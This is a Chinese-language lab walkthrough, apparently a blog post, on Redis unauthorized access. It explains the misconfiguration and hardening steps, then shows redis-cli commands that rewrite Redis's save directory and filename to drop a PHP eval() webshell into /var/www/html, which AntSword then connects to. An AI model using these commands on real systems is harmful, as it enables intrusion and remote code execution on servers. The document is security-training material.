Redis未授权渗透测试全流程实战-写入webshell

目录

一、Redis未授权

1、未授权原理

2、修复方案

二、渗透实战

1、攻击机测试redis-cli功能

2、靶机测试redis-server功能

(1)判断Redis服务器是否开启

(2)获取靶机ip地址

[3. 访问靶机的Redis服务](#3. 访问靶机的Redis服务)

[(1) Server(服务器信息)](#(1) Server(服务器信息))

(2)Clients(客户端连接)

(3)Memory(内存使用)

(4)Persistence(持久化)

(5)Replication(复制)

(6)Keyspace(键空间)

4、写webshell

5、蚁剑连接木马

6、浏览器连接木马

7、Docker查看木马文件


本文详细分析了Redis未授权访问原理与修复方案,并通过渗透测试演示了攻击过程。其源于Redis默认不安全的配置,包括未设置认证密码、监听所有网络接口等。攻击者可利用redis-cli直接连接目标服务器,通过修改持久化配置将Webshell写入网站目录。修复方案包括设置强密码、绑定内网IP、禁用高危命令等安全加固措施。实战部分展示了从连接Reids服务器到获取服务器权限的全过程,包括写入PHP木马、蚁剑连接等操作,最终验证了Redis未授权安全风险的严重性。文章强调了Redis服务安全配置的重要性,为系统管理员提供了有效的防护建议。

一、Redis未授权

1、未授权原理

Redis未授权访问是一个由危险默认配置和管理疏忽导致的高危安全风险 。其核心原理可以用一句话概括:当Redis服务暴露在不可信网络且未启用身份认证时,任何能访问到该服务的客户端都拥有与Redis服务进程本身同等的操作权限,从而可以直接执行所有Redis命令。

Redis未授权的原理核心是因为使用了缺省的安全配置导致的安全风险。Redis在设计上更侧重于性能和易用性,因此在安全方面采用了"默认不安全"的原则,将安全责任交给了管理员。

默认配置项 危险状态 带来的风险
绑定地址 (bind) bind 0.0.0.0 或 未设置(新版本默认 127.0.0.1 服务监听在所有网络接口上,可能暴露给公网或内网所有机器。
访问保护 (protected-mode) protected-mode no (旧版本无此配置) 在无密码且绑定非回环地址时,不拒绝外部连接。
认证密码 (requirepass) 默认为空 客户端连接时无需提供任何密码即可执行命令。
服务端口 默认使用 6379 这是一个众所周知的端口,极易被扫描器发现。

Redis未授权访问的原理揭示了安全中"默认拒绝"原则的重要性 。它提醒我们,对于任何面向网络的服务,暴露最小化、访问强制认证、权限最小化是必须遵循的黄金法则。

2、修复方案

加固层面 具体措施 加固效果作用
紧急处置 1. 防火墙隔离iptables -A INPUT -s 可信IP -p tcp --dport 6379 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP 立即网络层止血:从物理上切断来自公网及非信任IP的攻击连接,是响应未授权访问最快速有效的方法。
紧急处置 2. 临时设置密码redis-cli CONFIG SET requirepass <强密码> 快速建立认证屏障:即使服务仍暴露,攻击者也无法直接执行命令,为后续永久修复争取时间。
配置文件加固 1. 绑定内网地址bind 127.0.0.1 或 私有IP 根治公网暴露:确保Redis只监听在本地或内网,从根本上杜绝外部扫描和连接。
配置文件加固 2. 强制启用认证requirepass <复杂密码> 建立身份验证基石:所有客户端连接必须提供密码,是防止未授权访问的核心配置。
配置文件加固 3. 重命名或禁用高危命令rename-command FLUSHALL "" rename-command CONFIG "Gc7$9xKj" 防止功能滥用提权 :即使认证被绕过(如密码泄露),攻击者也无法直接利用CONFIGFLUSHALL等命令进行写文件、清数据等破坏性操作。
配置文件加固 4. 以非root用户运行 : 创建redis用户,服务中配置User=redis 限制攻击影响范围:遵循最小权限原则,即使Redis被攻破,攻击者获得的权限也仅限于低权用户,难以进行系统级操作。
配置文件加固 5. 启用保护模式protected-mode yes 提供默认安全兜底 :当未配置bindrequirepass时,Redis会自动拒绝外部连接,防止因管理员疏忽导致完全暴露。
架构与运维加固 1. 网络分层设计:将Redis部署于私有子网,仅应用服务器可访问。 实现纵深防御:在网络边界处设置屏障,即使Redis存在未知安全风险,攻击者也必须首先突破前端应用服务器,大幅增加攻击成本。
架构与运维加固 2. 启用TLS加密 (Redis 6.0+):配置tls-port及证书。 防止通信窃听与篡改:保护认证密码和传输的数据不被中间人攻击窃取,保障通信安全。
架构与运维加固 3. 日志审计与监控 :启用slowlog,监控异常命令(如CONFIGSAVE)。 实现攻击可发现、可追溯:能及时发现异常行为并告警,在攻击造成实际损失前进行干预,并为事后溯源提供证据

二、渗透实战

1、攻击机测试redis-cli功能

攻击机需要先安装redis-cli工具,安装完毕后使用redis-cli -h命令测试redis-cli功能是否正常, redis-cli -h 是 Redis 客户端(redis-cli)的核心参数,用于指定要连接的 Redis 服务器的 IP 地址 / 主机名hhost 的缩写),是远程连接 Redis 最常用的参数。默认情况下参数的含义如下所示。

参数维度 默认值 说明
目标主机(对应-h 127.0.0.1 未加-h时,自动连接本机的 Redis 服务器
目标端口(对应-p 6379 未加-p时,自动访问 Redis 默认端口 6379
目标数据库(对应-n 0 未加-n时,自动进入 Redis 第 0 号数据库(Redis 默认分 16 个库,编号 0-15)
认证密码 未加-a时,默认不携带密码,若 Redis 服务需密码则连接后需手动执行AUTH

2、靶机测试redis-server功能

这里靶机选择iwebsec虚拟机,已经安装好Redis-Server并使用具有安全风险的默认未授权配置。

(1)判断Redis服务器是否开启

iwebsec服务器上判断redis服务器(默认端口6379)是否开启,如下所示执行命令netstat -ano|grep 6379此端口打开后即证明服务已开启。

(2)获取靶机ip地址

iwebsec靶机已安装Redis,在iwebsec上执行ifconfig获取到NAT网段的ip地址192.168.59.134,具体如下所示。

3. 访问靶机的Redis服务

kali机器上(模拟redis客户端)访问iwebsec服务器,执行命令sudo redis-cli --h 192.168.59.134,在出现的交互界面中输入info,具体效果如下所示。

完整的内容如下所示,INFO命令输出提供了详细的系统状态信息。

复制代码
┌──(root㉿kali)-[/home/kali]
└─# redis-cli -h 192.168.59.134            
192.168.59.134:6379> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2d74fe5fff7657d
redis_mode:standalone
os:Linux 4.4.0-21-generic x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.4.7
process_id:173
run_id:8f28a66458b560ca088d62c747c201f43198ac65
tcp_port:6379
uptime_in_seconds:-28514
uptime_in_days:0
hz:10
lru_clock:4891705
executable:/usr/bin/redis-server
config_file:/etc/redis.conf

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory
used_memory:814080
used_memory_human:795.00K
used_memory_rss:9158656
used_memory_rss_human:8.73M
used_memory_peak:814080
used_memory_peak_human:795.00K
total_system_memory:4125638656
total_system_memory_human:3.84G
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:11.25
mem_allocator:jemalloc-3.6.0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1766527899
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok

# Stats
total_connections_received:1
total_commands_processed:3
instantaneous_ops_per_sec:0
total_net_input_bytes:84
total_net_output_bytes:10427
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.12
used_cpu_user:0.04
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=1,expires=0,avg_ttl=0
192.168.59.134:6379> 

这是一个存在严重安全风险的Redis实例,未设置密码认证,允许任意连接访问,可能被用来进行未授权访问,接下来我们分析info相关信息。

(1) Server(服务器信息)

  • redis_version:3.2.12 - 较旧的Redis版本

  • os:Linux 4.4.0-21-generic - Ubuntu 16.04系统

  • uptime_in_seconds:-28514 - 异常值,时间戳溢出或系统时间错误

  • config_file:/etc/redis.conf - 配置文件路径

(2)Clients(客户端连接)

  • connected_clients:1 - 当前只有你一个连接

  • 无连接限制,可能存在连接耗尽攻击风险

(3)Memory(内存使用)

  • used_memory:795.00K - 当前使用内存

  • maxmemory:0 - 未设置内存限制,可能导致内存耗尽

  • mem_fragmentation_ratio:11.25 - 内存碎片率过高(>1.5表示碎片严重)

(4)Persistence(持久化)

  • aof_enabled:0 - AOF持久化未开启

  • rdb_last_save_time:1766527899 - 上次保存时间(异常,未来时间戳

  • 数据持久化配置薄弱

(5)Replication(复制)

  • role:master - 主节点

  • connected_slaves:0 - 无从节点

  • 无复制配置,单点故障风险

(6)Keyspace(键空间)

  • db0:keys=1 - 当前有1个键

  • 数据量很小,可能是新安装或已清空

4、写webshell

接下来利用Redis未授权访问写入webshell,具体配置如下所示。

复制代码
sudo redis-cli -h 192.168.59.134
config set dir /var/www/html
config set dbfilename mooyuan.php
set webshell "<?php @eval($_POST['ljn']); ?>"
save

首先通过config set命令篡改Redis配置:将持久化目录改为Web根目录/var/www/html,并将数据库文件名设置为mooyuan.php,使Redis的RDB文件变成可执行的PHP文件。接着创建名为webshell的键,其值为PHP一句话木马<?php @eval($_POST['ljn']); ?>,该木马允许攻击者通过POST参数ljn远程执行任意PHP代码。最后执行save命令强制Redis将内存数据持久化到磁盘,从而在Web目录下生成恶意PHP文件。

sudo redis-cli -h 192.168.59.134------开启redis服务器

config set dir /var/www/html------进入根目录

config set dbfilename mooyuan.php------创建文件命名为mooyuan.php

set webshell "<?php @eval($_POST['ljn']); ?>"------写入一句话木马

save------保存

5、蚁剑连接木马

木马地址http://192.168.59.134/mooyuan.php

密码原理ljn是木马中预定义的后门密码,对应POST参数名

复制代码
木马地址为http://192.168.59.134/mooyuan.php
密码ljn

点击add后如下所示,提示add shell success。

双击进入文件系统后,如下所示可以看到写入的木马mooyuan.php。

6、浏览器连接木马

7、Docker查看木马文件

docker ps------获取容器id

docker exec -it bc23a49cb37c bash------进入docker

cd /var/www/html------进入根目录

ls------查看文件

发现已经上传mooyuan.php文件,脚本已经上传

相关推荐
Mysticbinary1 年前
SSRF结合Redis未授权的打法
ssrf·redis未授权漏洞
夜夜流光相皎洁_小宁2 年前
云计算存在的安全隐患
网络安全·系统漏洞·云计算安全·enisa云安全分析·云安全配置错误
知白守黑V2 年前
加固安全防线:解决常见漏洞的实用指南
系统安全·系统漏洞·安全漏洞·漏洞修复·漏洞加固方案·系统安全加固·weblogic java
ManageEngine卓豪2 年前
零日漏洞预防
漏洞管理·系统漏洞·零日漏洞
ManageEngine卓豪2 年前
基于风险的漏洞管理
漏洞管理·系统漏洞·安全漏洞